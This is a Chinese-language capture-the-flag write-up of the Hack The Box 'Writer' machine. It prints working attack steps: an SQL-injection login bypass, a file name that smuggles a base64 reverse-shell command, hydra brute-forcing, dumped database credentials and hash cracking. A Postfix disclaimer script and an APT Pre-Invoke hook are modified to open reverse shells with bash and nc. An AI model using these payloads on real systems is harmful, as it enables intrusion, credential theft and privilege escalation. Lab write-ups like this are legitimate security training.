Hackthebox-Writer

靶场信息

靶场类型

信息搜集

使用nmap进行信息搜集

┌──(root💀root)-[~/Desktop]
└─# nmap -A -sS -sC -sV -p- 10.10.11.101
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 03:27 CST
Nmap scan report for 10.10.11.101
Host is up (0.23s latency).
Not shown: 65531 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=8/5%OT=22%CT=1%CU=34682%PV=Y%DS=2%DC=T%G=Y%TM=610AEB60
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 12m51s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-08-04T19:45:33
|_  start_date: N/A

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   259.68 ms 10.10.14.1
2   259.76 ms 10.10.11.101

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 298.54 seconds

咱们去80端口的HTTP服务看一下

在人工查看以后，我发现并没有什么突破，咱们先做个目录fuzz吧

┌──(root💀root)-[~/Desktop]
└─# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -t 100 -u http://10.10.11.101/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.101/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/08/05 04:22:00 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.101/about                (Status: 200) [Size: 3522]
http://10.10.11.101/contact              (Status: 200) [Size: 4905]
http://10.10.11.101/static               (Status: 301) [Size: 313] [--> http://10.10.11.101/static/]
http://10.10.11.101/logout               (Status: 302) [Size: 208] [--> http://10.10.11.101/]
http://10.10.11.101/dashboard            (Status: 302) [Size: 208] [--> http://10.10.11.101/]
http://10.10.11.101/administrative       (Status: 200) [Size: 1443]
http://10.10.11.101/server-status        (Status: 403) [Size: 277]

===============================================================
2021/08/05 04:32:00 Finished
===============================================================

发现有一个

administratortive

目录，咱们进入查看一下

是一个登录页面，我测试了一下弱口令，并不存在

然后经过我大量的测试以后，发现这个登录页面存在Sql注入，且可用万能密码进行登录 ## 漏洞利用

咱们对比一下这两个的区别，可以发现

admin'order by 6;--+

是执行成功了，提示咱们

Welecome admin

，所以确定存在注入

通过进行细致的手工注入后发现，该注入点第二项可被显示咱们利用这个点来进行利用

经过大量的测试后，发现该注入点可用来读取文件

/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
kyle:x:1000:1000:Kyle Travis:/home/kyle:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
postfix:x:113:118::/var/spool/postfix:/usr/sbin/nologin
filter:x:997:997:Postfix Filters:/var/spool/filter:/bin/sh
john:x:1001:1001:,,,:/home/john:/bin/bash
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false

咱们去登录一下后台看一下，使用万能密码

username = admin';--+
password = password

登录成功

我发现该后台有上传功能，不过只能上传图片

不过没有关系，咱们制作一个图片马就可以了

step 1
echo -n '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.110/9001 0>&1"' | base64
将反弹shell的语句转换为base64格式

step 2
随便准备一张图片，我这里就用的1.jpg

step 3
touch '1.jpg; `echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTEwLzkwMDEgMD4mMSI=| base64 -d | bash`;'
将图片和木马绑定在一起，生成一个图片马的格式(严格意义上说不是图片马，毕竟只是一个后缀绕过)

step 4
file:///var/www/writer.htb/writer/static/img/1.jpg; `echo L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTEwLzkwMDEgMD4mMSI=| base64 -d | bash`;#
上传的时候所使用的执行语句

step 5
nc -nvlp 9001
使用nc监听端口

上面是一个大致的利用步骤，咱们现在来详细进行利用

首先前三步生成图片马就不说了，稍微修改一下指令然后输入即可

在进入第四步之前，咱们需要先登入后台

然后修改一篇文章

修改过程中然后上传我们制作的木马

然后我们使用burp进行抓包，然后再进行修改

修改后以后，使用nc监听我们指定的端口，然后执行流量包即可

┌──(root💀root)-[~/Desktop]
└─# nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.110] from (UNKNOWN) [10.10.11.101] 48906
bash: cannot set terminal process group (1061): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ whoami&&id
whoami&&id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功获得一个www-data权限的shell

至于上面用到的图片的路径怎么得来的，咱们在之前爆破的时候获得了一个/static路径，进入后发现可以目录遍历

http://10.10.11.101/static/img/

咱们在这个路径即可看到我们上传的文件，再利用sql注入处的文件读取读取配置文件，即可知道绝对路径

暂时在这又卡壳了，查看一下home目录

www-data@writer:/home$ ls
ls
john  kyle

这里有两个思路

使用hydra爆破kyle的密码
读取mysql的配置，直接进数据库拿kyle的hash

咱们先来看看第一个，hydra爆破密码

┌──(root💀root)-[~/Desktop]
└─# hydra -l kyle -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt 10.10.11.101 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-05 05:16:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 9437 login tries (l:1/p:9437), ~590 tries per task
[DATA] attacking ssh://10.10.11.101:22/
[STATUS] 121.00 tries/min, 121 tries in 00:01h, 9318 to do in 01:18h, 16 active
[STATUS] 112.33 tries/min, 337 tries in 00:03h, 9102 to do in 01:22h, 16 active
[STATUS] 99.71 tries/min, 698 tries in 00:07h, 8741 to do in 01:28h, 16 active
[STATUS] 97.27 tries/min, 1459 tries in 00:15h, 7980 to do in 01:23h, 16 active
[STATUS] 96.23 tries/min, 2983 tries in 00:31h, 6456 to do in 01:08h, 16 active
[STATUS] 96.04 tries/min, 4514 tries in 00:47h, 4925 to do in 00:52h, 16 active
[STATUS] 95.70 tries/min, 6029 tries in 01:03h, 3410 to do in 00:36h, 16 active
[STATUS] 95.49 tries/min, 7544 tries in 01:19h, 1895 to do in 00:20h, 16 active
[STATUS] 95.18 tries/min, 9042 tries in 01:35h, 397 to do in 00:05h, 16 active
[22][ssh] host: 10.10.11.101   login: kyle   password: marcoantonio
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-05 06:55:10

然后是第二个，进入数据库拿kyle的hash

www-data@writer:/$ cd /etc/mysql
cd /etc/mysql
www-data@writer:/etc/mysql$ ls
ls
conf.d
debian-start
debian.cnf
mariadb.cnf
mariadb.conf.d
my.cnf
my.cnf.fallback
www-data@writer:/etc/mysql$ cat mariadb.cnf
cat mariadb.cnf
# The MariaDB configuration file
#
# The MariaDB/MySQL tools read configuration files in the following order:
# 1. "/etc/mysql/mariadb.cnf" (this file) to set global defaults,
# 2. "/etc/mysql/conf.d/*.cnf" to set global options.
# 3. "/etc/mysql/mariadb.conf.d/*.cnf" to set MariaDB-only options.
# 4. "~/.my.cnf" to set user-specific options.
#
# If the same option is defined multiple times, the last one will apply.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.

#
# This group is read both both by the client and the server
# use it for options that affect everything
#
[client-server]

# Import all .cnf files from configuration directory
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/

[client]
database = dev
user = djangouser
password = DjangoSuperPassword
default-character-set = utf8

拿到mysql数据库账号密码，进入数据库拿kyle用户的hash值

www-data@writer:/etc/mysql$ mysql -u djangouser -h 127.0.0.1 -p
mysql -u djangouser -h 127.0.0.1 -p
Enter password: DjangoSuperPassword

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 1508
Server version: 10.3.29-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [dev]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| dev                |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [dev]> use dev;
use dev;
Database changed
MariaDB [dev]> show tables;
show tables;
+----------------------------+
| Tables_in_dev              |
+----------------------------+
| auth_group                 |
| auth_group_permissions     |
| auth_permission            |
| auth_user                  |
| auth_user_groups           |
| auth_user_user_permissions |
| django_admin_log           |
| django_content_type        |
| django_migrations          |
| django_session             |
+----------------------------+
10 rows in set (0.000 sec)

MariaDB [dev]> SELECT * FROM auth_user;
SELECT * FROM auth_user;
+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
| id | password                                                                                 | last_login | is_superuser | username | first_name | last_name | email           | is_staff | is_active | date_joined                |
+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
|  1 | pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A= | NULL       |            1 | kyle     |            |           | kyle@writer.htb |        1 |         1 | 2021-05-19 12:41:37.168368 |
+----+------------------------------------------------------------------------------------------+------------+--------------+----------+------------+-----------+-----------------+----------+-----------+----------------------------+
1 row in set (0.000 sec)

成功得到hash值

pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=

然后保存到本地文件

使用john或者hashcat进行爆破即可

hashcat -a 0 -m 10000 hash --wordlist /usr/share/wordlists/rockyou.txt

成功得到用户kyle的账号密码

username = kyle
password = marcoantonio

咱们使用ssh进行登录

kyle@writer:~$ cat user.txt
70dc74ad2b72d9bf163b98822d6222a9

成功获得user权限的flag ## 权限提升咱们准备两个脚本

#!/bin/bash
# Localize these.
bash -i &>/dev/tcp/10.10.14.110/4444 0>&1
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

这是修改原文件/etc/postfix/disclaimer后得到的脚本，这里只是举个例子，该靶机无法使用bash和sh进行反弹shell。可以使用python或socat进行getshell，由于懒，我就不修改了

查看文件/etc/postfix/disclaimer_addresses得到邮箱kyle@writer.htb

使用该邮箱编写脚本

import smtplib
host = '127.0.0.1'
port = 25

sender_email = "kyle@writer.htb"
receiver_email = "kyle@writer.htb"
message = """\
Subject: Hi there

Test_python_sender."""

try:
    server = smtplib.SMTP(host, port)
    server.ehlo()
    server.sendmail(sender_email, receiver_email, message)
except Exception as e:
    print(e)
finally:
    server.quit()

这是发送邮件的脚本

上传到服务器

然后使用nc监听端口

nc -nvlp 4444

拷贝disclaimer文件并发送邮件

cp disclaimer /etc/postfix/disclaimer && python3 sendmail.py

成功得到john的shell

┌──(root💀root)-[~/Desktop]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.110] from (UNKNOWN) [10.10.11.101] 44352
bash: cannot set terminal process group (78664): Inappropriate ioctl for device
bash: no job control in this shell
john@writer:/var/spool/postfix$ whoami&&id
whoami&&id
john
uid=1001(john) gid=1001(john) groups=1001(john)

得到john的权限，在/home/john/.ssh/目录下拿到id_rsa文件，保存到本地

给予权限

chmod 600 id_rsa

然后使用ssh进行登录john用户

ssh john@10.10.11.101 -i id_rsa

登入后提权 > 参考连接

https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/

cd /etc/apt/apt.conf.d

echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.110 4444 >/tmp/f"};' > exp

然后本地监听一个端口

nc -nvlp 4444

然后等着root执行该脚本即可，可能需要等几分钟

┌──(root💀root)-[~/Desktop]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.110] from (UNKNOWN) [10.10.11.101] 41008
/bin/sh: 0: can't access tty; job control turned off
# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)

成功提权到root

# cat root.txt
3664a02fe4477fdc202e27ec4e29de82

成功拿到root权限的flag

Writer - Hackthebox

2021-08-06

Writer - Hackthebox

Hackthebox-Writer

靶场信息

靶场类型

信息搜集